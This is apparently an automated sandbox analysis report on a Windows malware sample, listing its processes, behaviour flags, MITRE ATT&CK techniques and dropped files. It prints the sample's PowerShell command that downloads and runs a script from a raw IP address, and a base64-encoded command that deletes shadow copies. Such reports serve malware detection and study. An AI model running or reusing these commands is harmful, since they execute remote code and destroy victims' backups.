C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/JFh52PBG');Invoke-THAXPPVWDAAX;Start-Sleep -s 10000"
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Modifies system certificate store
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Drops file in Program Files directory
PID:868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads